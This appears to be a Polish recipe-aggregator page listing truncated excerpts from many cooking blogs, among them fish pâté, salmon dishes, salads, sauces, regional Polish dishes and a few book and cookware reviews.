Pasztet rybny, nasz ulubiony, piekę na każde Święta. Delikatny w smaku, nie pachnie zbyt mocno rybą. Pasztet podaję z pieczywem i dodatkiem sosu chrzanowego lub cytryny. Kawałki pasztetu można zalać galaretą, powstanie pyszna przystawka a la ryba faszerowana. Składniki: 1,5 kg ryby morskiej (mintaj, dorsz) 2 duże marchewki 2 duże pietruszki 1/4 bulwy selera 1 duża cebula

Codziennik Kuchenny
Bulion warzywny - podstawa domowych zup. 166

dodać natkę pietruszki, tymianek, lubczyk i gotować jeszcze 15 minut na małym ogniu. Po zakończeniu gotowania dodać przekrojone na pół ząbki czosnku i przyprawiam do smaku solą lub jasnym sosem sojowym.  Jeśli po ugotowaniu bulion wyda się Wam zbyt słony trzeba dodać ciepłej, przegotowanej wody. Ugotowany bulion pozostawić wraz z warzywami do wystygnięcia. Następnie wyjąć

Codziennik Kuchenny
Pieczony łosoś w posypce z curry 217

curry z młynka.  Tak upieczonego łososia można podać w towarzystwie ryżu lub kuskusu z gotowanymi warzywami na zwykły obiad. Bardzo dobrze smakuje również w towarzystwie mieszanki sałat z sosem winegret. Łosoś przed pieczeniem Składniki: filet łososia ze skórą mieszanka curry (używam curry z młynka Kotanyi) 1-2 szczypty soli kawałek cytryny (do skropienia sokiem  łososia po upieczeniu) Przygotowanie

Codziennik Kuchenny
Biała kiełbasa pieczona w cydrze 175

składników dania był spontanicznym eksperymentem;) Kiełbaski mimo, że ładnie się zrumieniły pozostały soczyste w środku. Cebula i jabłka poddusiły się w cydrze, który mocno się zredukowały i utworzył pyszny sos.  Składniki: 1 kg surowej białej kiełbasy 3 cebule 2 twarde jabłka ok. 0,5 litra cydru 1/2 łyżki oleju do smażenia cebuli 1 łyżeczka majeranku (lub więcej) 2 szczypty

Codziennik Kuchenny
Babka ziemniaczana 207

mięsa na pasztet czy kotlety. Babkę ziemniaczaną podaje się pokrojoną na duże kawałki z dodatkiem kwaśnej śmietany, kiszonych ogórków, kiszonej kapusty lub innej surówki. Doskonałym dodatkiem do babki będzie sos grzybowy np. pieczarkowy.  Wiele osób uważa, że babka najlepiej smakuje dzień po upieczeniu, podsmażona na złoty kolor na patelni. Składniki: 1 kg ziemniaków 2 ząbki czosnku 1 duża cebula

Codziennik Kuchenny
Szaszłyki z łososia 215

jeśli nie trzeba lepiej nie obracać szaszłyków. Składniki: 40 dkg łososia (płat ze skórą) 1 duża papryka garść pomidorków koktajlowych liście pora lub cienki, młody por Marynata: 4 łyżki sosu sojowego 3 łyżki soku z limonki lub cytryny 1 łyżka miodu 1 łyżka oleju skórka otarta z 1/2 limonki lub cytryny 3 łyżki posiekanego koperku Przygotowanie: Składniki marynaty dokładnie wymieszać

Codziennik Kuchenny
Sałatka z kaszą pęczak 228

niczym;) Zdecydowanie lepiej komponować smak sałatki wybierając 1-2 wyraziste składniki (u mnie suszone pomidory i oliwki), coś chrupiącego (świeży ogórek) i dodatek ziołowy (natka pietruszki i dymka). Z sosem najlepiej nie przesadzać wystarczy odrobina oleju i cytryny (dzięki tym dodatkom powstaje dobroczynne ,,środowisko" dla wchłaniania witamin). Sałatka z kaszą pęczak i kurczakiem jest kompletnym posiłkiem, zawiera dobre, zdrowe węglowodany

Codziennik Kuchenny
Zupa kimchi - pikantny kapuśniak koreański 187

ząbki czosnku 1 łyżeczka pasty chili Mae lub 1/2 łyżeczki chili w proszku 3,5 szkl. wody 1/2 łyżka oleju 1/2  łyżki oleju sezamowego 1-2 łyżki jasnego sosu sojowego 1 czubata łyżeczka cukru 20 dkg tofu naturalnego 2 cienkie dymki ze szczypiorkiem Przygotowanie: Boczek pokroić na kawałki, czosnek na cienkie plasterki. W garnku rozgrzać olej, podsmażyć boczek

Codziennik Kuchenny
Piróg biłgorajski. Krupniak. Regionalne Smaki - Listopad 203

skórki ( piróg ,,łysy") lub w drożdżowej skórce. Piekłam piróg w cieście, podałam pokrojony na grube plastry, podsmażony na patelni.  Piróg najlepiej smakuje na ciepło z dodatkiem śmietany, jogurtu, sosu grzybowego lub pieczarkowego. Polecam upieczenie Piroga Biłgorajskiego i poznawanie nowych Regionalnych Smaków. Składniki farszu: 500 g ziemniaków 300 g kaszy gryczanej palonej 200 g tłustego twarogu 3/4  szkl . kwaśnej

Codziennik Kuchenny
Szakszuka. Jajka sadzone w pomidorach. 288

Szakszuka, to danie kuchni  marokańskiej, egipskiej,  tunezyjskiej i izraelskiej. Najprościej,  to jajka sadzone w ostrym sosie pomidorowym.  Szakszuka podawana jest z różnymi dodatkami: cukinią, bakłażanem, szpinakiem, papryką, kiełbaskami. Bardzo lubię szakszukę i często ją jadam na śniadanie. Dziś przedstawiam przepis podstawowy, który zmieniam na wiele sposobów.  Danie warto przygotować tak, aby białka było ścięte

Codziennik Kuchenny
Sałatka z quinoa, łososiem i pastą awokado. 224

chrupiących warzyw, prażone ziarenka i sałatka gotowa. W tym przepisie znajdziecie pomysł na bardzo smakowitą pastę z awokado. Jeśli dodacie do niej więcej jogurtu lub trochę wody powstanie rzadszy sos do polania sałatki.  Pasta z awokado może być wykorzystana jako dodatek do warzyw pokrojonych w słupki. Składniki na 1 porcję sałatki: 1/2 szkl. ugotowanej komosy ryżowej (quinoa

Codziennik Kuchenny
Sałatka z młodych ziemniaków 203

paseczki. Ziemniaki, pomidory, kapary i koperek delikatnie wymieszać. Do zamarynowanej cebuli dodać olej (może być olej ze słoika z suszonymi pomidorami). Po dokładnym wymieszaniu dodać cebulę z powstałym sosem do pozostałych składników sałatki. Sałatkę odstawić na kilka minut, aby smaki połączyły się. Smacznego

Codziennik Kuchenny
Placki ziemniaczane z twarogiem 147

posiekaną cebulą i twarogiem utartym z jajkami. Masę dokładnie wymieszać, dodać posiekaną miętę i jeszcze raz wymieszać. Smażyć na rozgrzanym oleju z obu stron na złoto. Podawać z dowolnym sosem lub jogurtem. * miętę można ją pominąć

Tradycyjna Kuchnia
Kasza jaglana z cukinią i marchewką zapiekana w papryce 171

zapiekania natłuścić i poukładać w nim papryki. Zapiekać w temperaturze około 180-190 stopni do lekkiego zrumienienia papryki. Podawać na gorąco lub na zimno z dodatkiem np. salsy pomidorowej, sosów na bazie jogurtu. Lubisz kasze?   Dowiedz się o nich więcej Spróbuj także  buraczkowych kotletów jaglanych   lub  zapiekanych pomidorów faszerowanych kaszą jaglaną

Codzienna kuchnia niecodzienna
Tak walczę z przeziębieniem 218

przed szkodnikami. Allicyna łączy w sobie właściwości antygrzybiczne i przeciwbakteryjne. Kocham i uwielbiam! Na dodatek mam to szczęście, że mąż też lubi i czasami spożywamy namiętnie Dodajemy do różnych sosów, zup itp. Fajne są też grzanki „posmarowane” ząbkiem czosnku a na wierzch wrzućcie coś co lubicie! Możecie też przygotować masełko czosnkowe – obraną główkę czosnku zawinięta w folię

Szybko Tanio Smacznie
Podgrzewanie, rozmrażanie i gotowanie w kuchence mikrofalowej – wszystko, co musisz wiedzieć 226

miał metalicznych zdobień). Jedzenie warto przykryć, na przykład specjalnymi plastikowymi pokrywkami do mikrofalówek – wtedy jedzenie będzie podgrzane równomiernie i nie straci wilgotności. Gdy podgrzewa się mięso, można polać je sosem lub nasmarować olejem, aby było smaczniejsze i nie wyschło. Rozmrażanie w kuchence mikrofalowej Produkty najlepiej rozmrażać w oryginalnych opakowaniach, na przykład w woreczkach, pojemnikach z tworzywa, w których zostały przechowane

Kulinarnyblog.pl - wiesz jak gotować!
"Tajniki suszenia żywności" - recenzja książki 207

naleśniki. Rozdział dziesiąty to przystawki: mini klopsiki warzywne, tortille, pizza Rozdział jedenasty to desery:  słodkie przepisy na zdrowe i pyszne ciasteczka, czy batoniki :-) Rozdział dwunasty to dania główne: sos do makaronu czy warzywne curry. Rozdział trzynasty to smakołyki dla naszych pupili: smakołyki z batatów, udka kurczaka, skórki z łososia. Każdy znajdzie dla siebie coś pysznego, nawet zwierzaki :-)))) Za książkę

kruche babeczki
Kaczka pieczona z brzoskwiniami 162

nadziać brzoskwiniami, można spiąć szpilką otwór. Resztę brzoskwiń odłożyć. Kaczkę wstawić do piekarnika nagrzanego do 140 stopni na 2,5 – 3 godziny. Po 1,5 godziny kaczkę polać wytworzonym sosem. Po dwóch godzinach włożyć pozostałe brzoskwinie.   zastawa

królestwo garów
jesienny gulasz z piersi kurczaka... 194

dodać 2 kostki warzywne i 4 szklanki wody, wszystko wymieszać i pod przykryciem dusić z 20 minut śmietanę wymieszać z wodą i mąką, wlać do gulaszu i mieszając zagęścić sos, dodać pieprz mielony i przyprawę w płynie - gulasz podawać na obiad z czym się lubi............SMACZNEGO

W Mojej Kuchni Lubię
Quesadilla z tuńczykiem i smażoną papryką 163

połowie tortilli, następnie tuńczyka, usmażoną wcześniej paprykę i szpinak. Wszystko posyp ponownie serem i złóż na pół. Smaż przez około 3 minuty każdą ze stron. Podawaj z ulubionym sosem. Smacznego! Wartości odżywcze: Energia: 783,6 kcal Białko: 58,7 g Tłuszcze: 27,7 g Węglowodany: 73 g Wartości odżywcze 1 porcji: Energia: 391,8 kcal Białko: 29,3 g Tłuszcze

ale Pysznie
Fit makaron penne z łososiem i groszkiem 206

łososia, groszek i gotuj przez około 3 minuty, mieszając od czasu do czasu. Dodaj jogurt naturalny i szczypiorek i gotuj przez 3-4 minuty, aż łosoś będzie gotowy, a sos będzie miał odpowiednią konsystencje. Wrzuć makaron, przypraw solą i pieprzem i dokładnie wymieszaj całe danie. Podaj i smacznego! Wartości odżywcze: Energia: 1 192 kcal Białko: 79,8 g Tłuszcze

ale Pysznie
Knedle szpinakowe 176

mokrymi rękami formować knedle i wrzucać na osolony wrzątek, gotować około 15 minut. Knedle wyjmować łyżką cedzakową , układać na talerzach, podawać jako danie samodzielne polane tłuszczem lub z dowolnym sosem

Tradycyjna Kuchnia
Zapiekanka makaronowa z kurczakiem i jajkami. 314

smarujemy masłem przekładamy makaron. Pieczemy w temperaturze 190 stopni około 20 minut następnie wierzch posypujemy resztą sera i zapiekamy jeszcze około 15 minut.Zapiekanka ma być rumiana. Podajemy z dowolnym sosem lub ketchupem. Smacznego

Sama słodycz i szczypta chili
Rigati Tricolore Fructti Di Mare 156

opakowaniu , w osolonej wodzie z dodatkiem oliwy . Zlewamy wodę ale nie odcedzamy przepis wcześniej mówiłam dlaczego nie możemy pozbawić makaronu nawilżenia z wody w której się gotował . Zalewamy sosem i delikatnie mieszamy . Roztapiamy masło , dodajemy czosnek ,wino i redukujemy . Gdy wino zacznie wyparowywać dodajemy owoce morza i pietruszkę . Często mieszamy smażymy chwilkę gdy krewetki zmienią swój kolor dodajemy  wszystko

Viola cooks with passion
Sałatka z tuńczykiem, pieczarkami, groszkiem, jajkiem, kukurydzą i papryką 422

gdzie będzie można właśnie książki wygrać :-))) Składniki: 1/2 dużego słoika pieczarek marynowanych lub mały słoiczek 1/2 słoika papryki marynowanej 1/2 puszki kukurydzy 1/2 puszki groszku 1 puszka tuńczyka w sosie własnym 2 cebulki dymki z zieloną częścią 5 jajek M sól pieprz 1 łyżka majonezu 1 łyżka jogurtu naturalnego Pieczarki, paprykę kroję na drobniej, kukurydzę i groszek odsączam. Wszystko daje

kruche babeczki
Domowa jarzynka 185

papryki z gniazd nasiennych kroimy w drobne, krótkie paseczki. Wykładamy na szeroką blachę i suszymy jak w przepisach wyżej. Idealnie taka suszona papryka nadaje się np. do grochówki, sosów, gulaszu

Kulinarne przemyslenia
Chana masala z ciecierzycą 187

tych co lubią ciecierzycę mamy fajny przepis z książki „Minimalist Baker” z kremowym sosem i dużą dawką przyprawy garam masala, która nadaje

Kuchenne Wariacje
Czerwone curry z łososiem 167

kumin, smaż około 3-4 minuty. Następnie dodaj pastę curry, smaż kolejne 2 minuty, mieszając. W razie potrzeby – dodaj odrobinę oleju. Dodaj mleko kokosowe wraz z wodą / bulionem. Sos dopraw solą i brązowym cukrem. Dodaj łososia i smaż 4 – 5 minut, często mieszając. Curry z łososiem wyłóż do miseczek wraz z ryżem. Dodaj kolendrę. Smacznego

Moja pasja smaku
“Grzanki” z dyni i żółtego sera z pesto 165

można, ale po wycięciu pestek zostanie dziura, więc na grzanki się nie przydadzą.   Składniki: dynia piżmowa pokrojona na plasterki ok. 1 centymetra 100 g tartego żółtego sera kupny sos pesto listki bazylii do dekoracji pieprz   Przygotowanie: Dynie zapiekamy w piekarniku rozgrzanym do 180 stopni po 10 minut na każdą stronę plasterka aż będzie można nakłuć je widelcem. Wyłączamy

Ugotowane pozamiatane
Wątróbka z pieczarkami w sosie carry 162

obiad w dobrej restauracji. Wypróbujcie jak zabraknie Wam weny twórczej na obiad, bo robi się go zaledwie w 30 minut. Składniki: - 60 dag wątróbki drobiowej - olej rzepakowy - sól Sos: - 25 dag pieczarek - 1 cebula - 1 szklanka słodkiej śmietanki - 1/2 łyżeczki carry - 1/2 łyżeczki kurkumy - olej rzepakowy - sól  - pieprz - zielona natka pietruszki Dobrej jakości przyprawy znajdziecie na  www.Skworcu.com.pl

Apetyczna babeczka
Szparagi w szynce, z sosem musztardowym 251

rozgotować szparagów ). Po ugotowaniu szparagi przestudzić. Po przestudzeniu szparagi zwinąć w plasterki szynki - po 2-3 szparagi w jeden plaster. Przesmażyć chwilkę na patelni, bez tłuszczu. Przygotować sos: śmietankę i musztardę wymieszać i razem zagotować - cały czas mieszać. Chwilkę po zagotowaniu zdjąć z ognia i można polać po szparagach - należy pamiętać, że czym więcej musztardy tym danie będzie bardziej słone

W kuchni u Moniki
Ryżowe babeczki 188

foremki na babeczki wykładamy partiami ryż.  10. Zapiekamy w 200 stopniach przez około 25 min (do czasu aż wierzch ładnie się zarumieni)  11. Moje babeczki podałam z sosem pomidorowym.  Smacznego

Mój pomysł na
Policzki wieprzowe z sherry i chorizo 219

Wlać bulion wołowy. Doprowadzić do wrzenia. Dusić na wolnym pod przykryciem ogniu przez 2 godziny lub do momentu, gdy policzki są bardzo miękkie. Od czasu do czasu zamieszać jeżeli sos zbyt zgęstnieje dodać bulionu. Posypać pietruszką. Podawać z ryżem lub  rozgniecionymi ziemniakami. Smacznego

Stare Gary
kotlety ziemniaczane z kalafiorem fioletowym i mozzarellą... 194

tartą, obie mąki i dobrze wymieszać na mocno gorącym smalcu smażyć nie za grube kotlety na rumiano, odkładać na ręcznik papierowy kotlety są smaczne i można je podawać z sosami zimnymi lub na ciepło...........SMACZNEGO

W Mojej Kuchni Lubię
Tortilla z tuńczykiem 161

najlepsza sałata lodowa, ale my takowej nie mieliśmy w domu, wykorzystaliśmy taką jaka była. I też się sprawdziła.  Składniki 2 ugotowane na twardo jajka tuńczyk z puszki w sosie własnym 3 ogórki konserwowe pół czerwonej papryki kilka pomidorków koktajlowych 2 łyżki majonezu zielona sałata sól pieprz meksykańska tortilla kukurydziana masło     Przygotowanie   Ogórki i paprykę pokroiłem, paprykę

R'n'G Kitchen
Wegańskie naleśniki z jabłkami 193

większego problemu można pominąć jajko, należy jednak pamiętać o odpowiedniej proporcji mleka i mąki. Dodałam też dwie duże łyżki dobrze utartego puree z dyni pozostałego po przyrządzaniu domowego sosu serowego do makaronu, dzięki czemu naleśniki zyskały piękny żółty kolor, jednak myślę, że nic się nie stanie, jeśli pominiesz ten krok. Nie ma potrzeby obawiać się wegańskich naleśników – smaży się

Roślinna - blog wegański
Ciabatta 192

Ostatnio na spacerze z panem mężem odkryłam niesamowity sklep. Mają przepyszne mieszanki przypraw do dipów czy sosów, kremowe octy smakowe, smakowe oliwy i wiele innych dobrodziejstw. Wypakowałam koszyk po brzegi, odpłakałam swoje w kasie i wróciłam do domu… Wszystko pięknie, ale my jemy chleb razowy zwykle żytni, a jednak smak nowych zakupów idealnie wydobyłoby białe, pszenne pieczywo. Co było

Mieszam w Garnku
Bakłażan duszony z pomidorami 199

Bakłażan i pomidory - dwa składniki i pełna harmonia smaków. Te dwa składniki składają się na wspaniały, aromatyczny sos. Idealny do kasz, ryżu, makaronu i z kawałkiem bułki też będzie pyszny. U mnie akurat z ulubiona kaszą gryczaną. Bakłażan to nie tylko walory smakowe. Zjadając bakłażana dostarczysz organizmowi sporo potasu, wapnia i magnezu. To takze dobre źródło błonnika

Gotuj zdrowo!Guten Appetit!
Spaghetti z małżami i szpinakiem 245

soli oraz pieprzu i smażycie, aż małże się otworzą a alkohol wyparuje. Makaron odcedzacie i przerzucacie na patelnię, podlewając odrobiną wody, w której się gotował. Kiedy wchłonie wodę z sosem, zdejmujecie z ognia. Na drugiej patelni rozgrzewacie dwie łyżki masła, podsmażacie na niej posiekane drobno cebule i pozostałe 3 ząbki czosnku. Dorzucacie porwany na kawałki szpinak. Kiedy zmięknie, dodajecie fetę

GRUBY WAŁEK
Domowe Bites jak z KFC 1946

należy dociskać do kurczaka. Bitesy smażymy na średnim ogniu, w głębokim oleju na złoty kolor (przez ok. 3-4 minut z każdej ze stron). Podajemy z frytkami i dowolnymi sosami np. czosnkowym oraz chili. Moje posty

Słodka Strona
Bataty, cukinia i papryka zapiekane z tuńczykiem i mozzarellą 218

tego tuńczyk i mozzarella. Staram się, żeby było jak najwięcej warzyw. Mniam :-))). Forma 26 cm. Miłego dnia :-))) Składniki: 2 bataty 1 cukinia 1 papryka 1 puszka tuńczyka w sosie własnym starta mozzarella sól pieprz oliwa extra virgin lub olej kokosowy Bataty, cukinie i paprykę kroję cienkie w plasterki. Naczynie do tarty smaruję dookoła i po bokach olejem kokosowym

kruche babeczki
Placki ze śledziem i chili (na ostro) 191

wykładać niewielkie porcje ciasta. (1 solidna łyżka stołowa na 1 placuszek.) Placuszki smażyć z obu stron na złoty kolor. Podawać bezpośrednio po przygotowaniu (osączone z nadmiaru tłuszczu) z ulubionym sosem. (Na zimno również świetnie smakują.) (*) Placuszki przyrządzane na większej ilości oleju (oczywiście nie na głębokim i z umiarem) ładniej się smażą i są chrupiące

Di gotuje
“Wegańskie inspiracje ze smakiem” – recenzja 166

wdzięczności. Jej przepisy są wegańskie i szybkie w przygotowaniu. Jeśli chodzi o przepisy, to smakowicie wygląda pudding z brązowego ryżu, sałatka południowa z awokado i fasolą, chili z sosem pesto, curry z dyni, salsa do ziemniaków, pina colada, budyń z tapioki i mango z ryżem. Dobrze wyglądają też pomysły na domowe kosze prezentowe np. na Boże Narodzenie czy z życzeniami

Ugotowane pozamiatane
Śliwki do mięsa 187

oliwie i oleju podsmażaj przez 12 minut śliwki, wraz z przyprawami i octem, dodaj wino i poczekaj aż odparuje. Dodaj troszkę wody, aby śliwki były całe zamoczone w sosie i gotuj przez 10 minut. Na sam koniec dodaj świeży tymianek całość zagotuj.  Smacznego

SMYKWKUCHNI
Leczo z cukinii w słoiczkach na zimę 192

skórki. Kroimy ją w kostkę i dodajemy na patelnię. Dusimy do momentu aż cukinia zmięknie.  Pomidory kroimy w kostkę i dodajemy na sam koniec - dusimy aż powstanie sos. Doprawiamy go do smaku solą i pieprzem. Gorące leczo przekładamy do słoików i pasteryzujemy w garnku przez około 20 minut. Smacznego

Taste Therapy
Placuszki bananowo-kokosowe 292

INFORMACJI O BLENDERZE (informacje ze strony) OPIS PRODUKTU Wypracowanie odpowiednich nawyków żywieniowych nigdy nie było tak łatwe, jak z rewelacyjnym Russell Hobbs NutriBoost. Dzięki temu urządzeniu, robienie koktajli, zup, sosów i pełnych składników odżywczych soków jest łatwe i szybkie, a równocześnie pozwala zachować wszystkie witaminy obecne w użytych składnikach. Dostarczanie organizmowi odpowiednich składników odżywczych każdego dnia może poprawić stan zdrowia

Tetiisheri
Sałatka z brokułami 212

menu głównym Sałatka z brokułami Sałatka gotowa smacznego ! Składniki : 1du ży brokuł 1/2 puszki kukurydzy ( około 80 g ) 4 jajka 15 dag szy nki drobiowej Sól oraz pieprz Sos: 2 ,5 łyżki majonezu Przygotowanie:          Normal 0 21 false false false PL X-NONE X-NONE /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband

Sprawdzone przepisy kulinarne
Śląski obiad czyli rolada, kluski i modro kapusta 991

momencie jak wypłyną polać je zimną wodą, a jak wypłyną ponownie, to wyciągać, bo oznacza to, że są już gotowe (można jedną na próbę wyciągnąć). Kluski podawać polane sosem. Modra kapusta: Kapustę umyć, posiekać, przełożyć do garnka, zalać wodą i skropić cytryną. Gotować do miękkości około 30 minut, po czym odcedzić. Słoninę pokroić w kostkę i przysmażyć (można dodać odrobinę

Passions hobbies life
TOP 3 - WRZESIEŃ 2016 144

statystykach wyglądał tak :     9 87 polubień na FB       154 obserwujących       16 postów 38 , 637 wyświetleń   najpopularniejsze posty : Kurczak w sosie kurkowym   Zapiekana chałka Czekoladowe ciasto z cukinią   Dziękuję, że ze mną jesteście. Oczywiście zaglądajcie na Instagram i do moich Babeczek ! Chcę Was też zaprosić do nowej grupy, która powstała

Magiczne Życie Marty
Cannelloni z mięsem zapiekane w sosie pomidorowym 150

masłem. Rurki nafaszerować mięsem i układać jedna obok drugiej w naczyniu. Pomidory z puszki przelać do miseczki, dodać ząbek czosnku przeciśnięty przez praskę, zioła i zmiksowć blenderem. Doprawić solą. Sosem zalać makaron, tak aby był dokładnie przykryty. Wstawić do piekarnika nagrzanego do temperatury 180-200 stopni i zapiekać 40 minut. 10 minut przed końcem zapiekania posypać resztą startego sera

kuchnia doski
Sos chilli. Pozornie słodki 155

Żałuję, że wcześniej nie znałam tego sposobu na mój ulubiony sosik chili, tylko zadowalałam się kupnym, w którym z pewnością jest dużo więcej cukru i innych świństw. Gotujący się sos trochę odparuje i po dodaniu mąki ziemniaczanej powinien od razu gęstnieć. Gorący wlewam do słoików i odstawiam na wieczkach do wystygnięcia. Po otwarciu trzymam w lodówce

Karczma Honorietty
Idealna patelnia do Twojej kuchenki - wersja głęboka - Fiskars 223

tylko swojego rodzaju przypomnienie, gdyż wpadła mi w ręce głęboka wersja tej patelni.  Na wersję głęboką czekałam z utęsknieniem, gdyż idealnie nadaje się do przygotowywania makaronu z sosem czy smażenia kotletów. Upodobałam sobie smażenie kotletów/mięs na oleju kokosowym, który w połączeniu ze zbyt nisko umieszczonym pochłaniaczem pryska gdzie popadnie. Głęboka patelnia rozwiązała problem i wreszcie po smażeniu

Gotowanie i blogowanie
Królik w śmietanie 222

wyciągamy z mleka i umieszczamy w brytfance. Posypujemy boczkiem. Pieczemy w 200 stopniach C przez ok. 1-1,30 h. Co jakiś czas podlewamy bulionem. Wyciągamy mięso. Dodajemy śmietanę. Sos można zagęścić mąką.  źródło: przepis własny Ilość porcji: 5 Czas przygotowania: 2h + marynowanie Koszt przygotowania

Pobite gary Barbary
Domowe burgery 322

DOMOWE BURGERY to zdrowsza alternatywa burgerów z barów szybkiej obsługi. Możecie użyć swoich ulubionych dodatków i sosów w dowolnej ilości! Artykuł Domowe burgery pochodzi z serwisu MenMagazine

Menmagazine
Dorsz w sosie z ajwaru 382

Dorsz zapiekany w piekarniku z pysznym paprykowym sosem. Proponuję użyć nieostrego ajwaru chyba że lubimy pikantne potrawy. Idealnie smakuje podany z ryżem. Wyrazistość paprykowego ajwaru zostaje zrównoważona śmietanką co powoduje, że paprykowy smak nie zabija delikatności ryby a jedynie delikatnie go podkreśla.   Składniki |4 porcje| * 400 g dorsza pokrojonego na mniejsze kawałki * 150 ml śmietanki 36% * 4 łyżki ajwaru

Mohiella
Dziś zrobiłem jarzynkę na zimę. 148

itam serdecznie !   Dziś zrobiłem jarzynkę w słoikach na zimę. Trochę się przy niej napracowałem, ale za to w zimie będę maił gotowe warzywa do zupy, sosu. Wato ją sobie zrobić. Tutaj znajdziesz przepis : Jarzynka

Przepisy i porady kulinarne
Żabie udka w sosie śmietanowo - pomidorowym 266

masz opory to zapewniam że niepotrzebnie. Żabie udka są bardzo smakowite i warte spróbowania, chociażby dlatego aby poznać ich delikatny smak. Zapraszam zatem na obiad. Żabie udka w sosie śmietanowo - pomidorowym. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Makaron orkiszowy 310

przepisu! Jest prosty w przygotowaniu i nie potrzeba maszynki do rozwałkowania ciasta. Z podanych składników wychodzi porcja makaronu taka jaka jest widoczna na zdjęciu. Można go podawać z różnymi sosami np. pomidorowym, serowym, śmietanowym lub dorzucić go do zupy przed samym podaniem. Zapewniam, że smak jest o wiele lepszy od kupnego, a dużo się nie napracujesz. Wypróbuj! Makaron orkiszowy Składniki

Jaglusia
Rolada szpinakowa z tuńczykiem 179

zrobi wrażenie na niejednej imprezie. Składniki: 500 g mrożonego szpinaku 4 jajka łyżka oleju czubata łyżka mąki pszennej sól i pieprz Nadzienie serek kanapkowy puszka tuńczyka w kawałkach (w sosie własnym) 2–3 ogórki konserwowe sol, pieprz Przygotowanie Szpinak odmrażamy, podsmażamy na oleju, aż odparuje z niego woda. Odstawiamy do wystudzenia. Białka oddzielamy od żółtek. Białka ubijamy na sztywną pianę

e-PrzepisyKulinarne
Ostry jogurtowy kurczak w tortillach 172

kurczaka i odstawiamy na godzinę do lodówki. Po tym czasie smażymy kurczaka na oliwie z oliwek. Staramy się aby na mięsie pozostało jak najwięcej marynaty. Każdy placek tortilli smarujemy sosem czosnkowym (jogurt wymieszamy z majonezem i posiekanym czosnkiem). Układamy kawałki kurczaka, trochę sałaty lodowej, kawałki pomidora i czerwonej papryki oraz plasterki ogórka. Zwijamy

VioletoweKucharzenie
Pizza margherita 255

Składniki: ( na dwie pizze, na dwie blachy o średnicy 27cm ) Sos: puszka pomidorów (400g), 3 mniejsze ząbki czosnku, 1/2 niedużej cebuli, 2 łyżki oleju, bazylia, sól, pieprz, 1/2 łyżeczki cukru. Ciasto: 360g mąki pszennej ( ja użyłam tortowej ), 180ml ciepłej wody, 3 łyżki oleju, 7g suchych drożdży, niepełna łyżeczka soli (3/4 łyżeczki ), niepełna łyżeczka  cukru ( 3/4 łyżeczki ). Ponadto: 300g sera

W kuchni u Moniki
Trochę marchwiowej historii i słonecznych placuszków 209

Marchew- królowa polskiej ( i nie tylko) kuchni! Do czego to jej nie dodajemy! Robimy z niej surówki do obiadu, wyciskamy soki, dodajemy do zup i sosów, chrupiemy na surowo, a nawet wypiekamy z nią ciasta! Bez niej nasza narodowa sałatka warzywna jest absolutnie niekompletna. Jak podaje internet kolebką tego warzywa jest Południowo- Zachodnia Azja, a pierwsze marchewki były w kolorze

Kuchnia w Słońcu Skąpana
Do chleba, panie szparag! 183

kcal. Ponadto szparagi są jednym z najskuteczniejszych  afrodyzjaków. " http://www.poradnikzdrowie.pl Bardzo kobiece to warzywko! :D Sezon na smukłe piękności króciutki. Przeważnie znane z półmisków jako szanowne warzywa pod sosem holenderskim, lub w innym wykwintnym wydaniu. Ja postanowiłam przerobić nieco, wyszperany gdzieś w magazynach, przepis i podać je w bardziej swojskim towarzystwie. W dodatku w maleńkich kawałkach, bo jako grubo

Kuchnia w Słońcu Skąpana
PROJEKT ŚNIADANIE: Wiosna w omlecie 166

wymieszaj. 4. Wylej masę na rozgrzaną patelnię, rozłóż równomiernie zioła po omlecie i smaż na niewielkiej ilości oleju z dwóch stron. 5. Jogurt wymieszaj z pieprzem i podawaj jako sos do omleta. Smacznego

Kuchnia w Słońcu Skąpana
Truskawkowe orzeźwienie 163

łyżki miodu ( u mnie miód z mniszka ) 600ml chłodnej wody kostki lodu kilka świeżych truskawek do podania Sposób przygotowania: 1. Truskawki pozbaw szypułek. 2. Owoce zmiksuj/ zblenduj na gładki sos razem z miodem ( ilość zależy od słodyczy truskawek) i sokiem z cytryny. 3. Lemoniadową bazę rozcieńcz wodą i wymieszaj dokładnie. 4. Podawaj z kostkami lodu i pokrojonymi na ćwiartki świeżymi

Kuchnia w Słońcu Skąpana
Ulubieńcy września 153

najprostszy i najszybszy wegański deser jaki jadłam.  W tym miesiącu miałam obsesje na punkcie kanapek z tostowanym pieczywem, hummusem, suszonymi pomidorami, sałatą i sosem BBQ. Polecam spróbować taką kombinacje :) Kolejnym ulubieńcem są domowe pomidory suszone, które robiłam na przełomie sierpnia i września. W tym miesiącu jadłam je ze wszystkim :).  Tutaj możecie znaleźć

wegujemy
Farfalle alla carbonara z cukinią i groszkiem (Farfalle alla carbonara con zucchine e piselli) 212

Carbonara w wersji trochę innej, mniej kalorycznej, bez boczku, za to z warzywami: cukini ą,  groszkiem i kremowym sosie jajeczno-śmietanowym. Makaron jest bardzo smaczny i delikatny w smaku. Smacznego! **** Pasta alla carbonara in modo diverso, perché senza guanciale, ma con verdure: piselli e zucchine. Senza rinunciare al gusto, la pasta è piu' delicata

La grande e la piccola cuoca
Sałatka z młodych ziemniaków 224

wspaniałe, proste i przepyszne danie sprawdzi się na każdą okazję. Szybkie w przygotowaniu a może raczej w gotowaniu. Potem robicie sos – z oliwy i tego co Wam wpadnie w ręce. Świeże... Źródło

Szybko Tanio Smacznie
PIECZONY ŁOSOŚ Z MUSEM MALINOWYM 146

szklanka malin Wykonanie: Łososia osuszam, nacieram solą, pieprzem, skrapiam sokiem z cytryny oraz oliwą. Piekę w torebce foliowej do pieczenia. Po ok 15 minutach od zaczęcia pieczenia polewamy rybę sosem-zmiksowanymi malinami., zapiekamy jeszcze ok 10 minut. Gotową podajemy z całymi malinami

Z Majeczką w kuchni
Winny sos śliwkowy 127

doskonały sos do mięs, który powstał na bazie klasycznego połączenia bulionu i wina z dodatkiem świeżych śliwek. Bardzo dobrze podkreśla smak mięsa nie przyćmiewając jego aromatu. Dobrze pasuje do wyraźnego drobiu - takiego jak np kaczka oraz do wieprzowiny w różnych postaciach

Milion Smaków
Medaliony z cukinii, Twix bar (Seinfeld) 269

